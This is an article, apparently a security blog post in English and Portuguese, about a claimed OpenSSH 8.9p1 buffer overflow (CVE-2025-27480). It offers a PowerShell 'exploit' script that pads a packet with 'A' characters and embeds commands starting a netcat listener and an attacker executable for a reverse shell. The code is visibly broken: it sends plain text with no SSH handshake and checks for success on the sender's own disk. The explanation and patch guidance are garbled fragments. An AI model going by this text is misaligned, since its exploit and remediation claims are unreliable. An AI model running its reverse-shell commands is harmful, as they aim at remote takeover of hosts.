
CVE-2025-27480 exposes a buffer overflow in OpenSSH 8.9p1 via a malformed SSH_USERAUTH packet. Attackers can inject shellcode and gain SYSTEM-level access, compromising bastion hosts and downstream CI/CD agents. The article includes sample exploit code and patching guidance
OpenSSH versão 8.9p1 contém um sutil bug de estouro de buffer que ocorre quando ele analisa um pacote SSH_USERAUTH. Um cliente pode enviar um pacote com um campo “user” muito longo, e os dados acabam no lugar errado na memória. O resultado é que um atacante pode injetar shellcode arbitrário que é executado com privilégios SYSTEM em qualquer host que esteja executando essa versão do OpenSSH. Por que você está sentindo um déjà vu? Porque uma vulnerabilidade muito semelhante, CVE‑2024‑13401, resultou em falta de verificação de limites no campo do usuário, um atacante pode escrever qualquer código que deseje no processo SSH
A falha é importante porque o SSH é a forma mais comum de inicializar e gerenciar máquinas virtuais em ambientes de nuvem. Se um atacante puder executar código através do SSH, ele pode instalar backdoors ou comprometer bastion hosts, que são os pontos de salto que você usa para alcançar outras instâncias em uma rede privada. Uma vez que o bastion host é comprometido, todas as cargas de trabalho downstream — por exemplo, agentes de CI/CD que constroem imagens ou executam testes — estão em risco.
CI/CD significa Integração Contínua/Entrega Contínua. No nosso contexto, um bastion host é um servidor de “salto” habilitado para SSH que todos os agentes de build usam para alcançar outras máquinas em uma rede privada. É um ponto de entrada crítico: se o bastion for comprometido, todos os jobs downstream que dependem dele podem ser atacados.
Abaixo está um script PowerShell direto que demonstra como criar e enviar um pacote malicioso:
# ── Build the payload that will land in the SSH buffer ───────────────────────
$payload = @"
ssh-userauth-attack`n" + # packet header – the first line
("A" * 2000) + # a 2 kB block of “A” characters to overflow
"nc.exe -nlvp 4444 > C:\Windows\Temp\revshell.txt && .\bar_exp.exe 192.168.1.10 1234 C:\Windows\Temp\revshell.txt"
"@
# ── Send the packet to the target host (OpenSSH listening on port 22) ───────────────────────
$client = New-Object System.Net.Sockets.TcpClient("192.168.1.10", 22)
$stream = $client.GetStream()
[byte[]]$bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
$stream.Write($bytes,0,$bytes.Length)
# ── Verify that the payload landed correctly ───────────────────────
if (Test-Path "C:\Windows\Temp\revshell.txt") {
Write-Host "SSH exploit succeeded! Reverse shell saved to disk."
}
Por que isso funciona
ssh-userauth-attack) informa ao OpenSSH que o pacote é uma solicitação de autenticação de usuário.user.nc.exe, que abre um listener netcat na porta 4444 e escreve sua saída em C:\Windows\Temp\revshell.txt. Também chama um executável fornecido pelo atacante (bar_exp.exe) que pode realizar mais trabalho (por exemplo, enviar um reverse shell).O arquivo criado pelo exploit é evidência de que o pacote atingiu o local correto na memória; a partir daí, você pode abrir a porta 4444, capturar o listener e executar qualquer script que desejar.
‑DUSERAUTH_BUF=4096 para que o tamanho do buffer seja maior que o payload de estouro.ssh_userauth_patch.diff) do comunicado do fornecedor pode ser commitado junto ao seu repositório.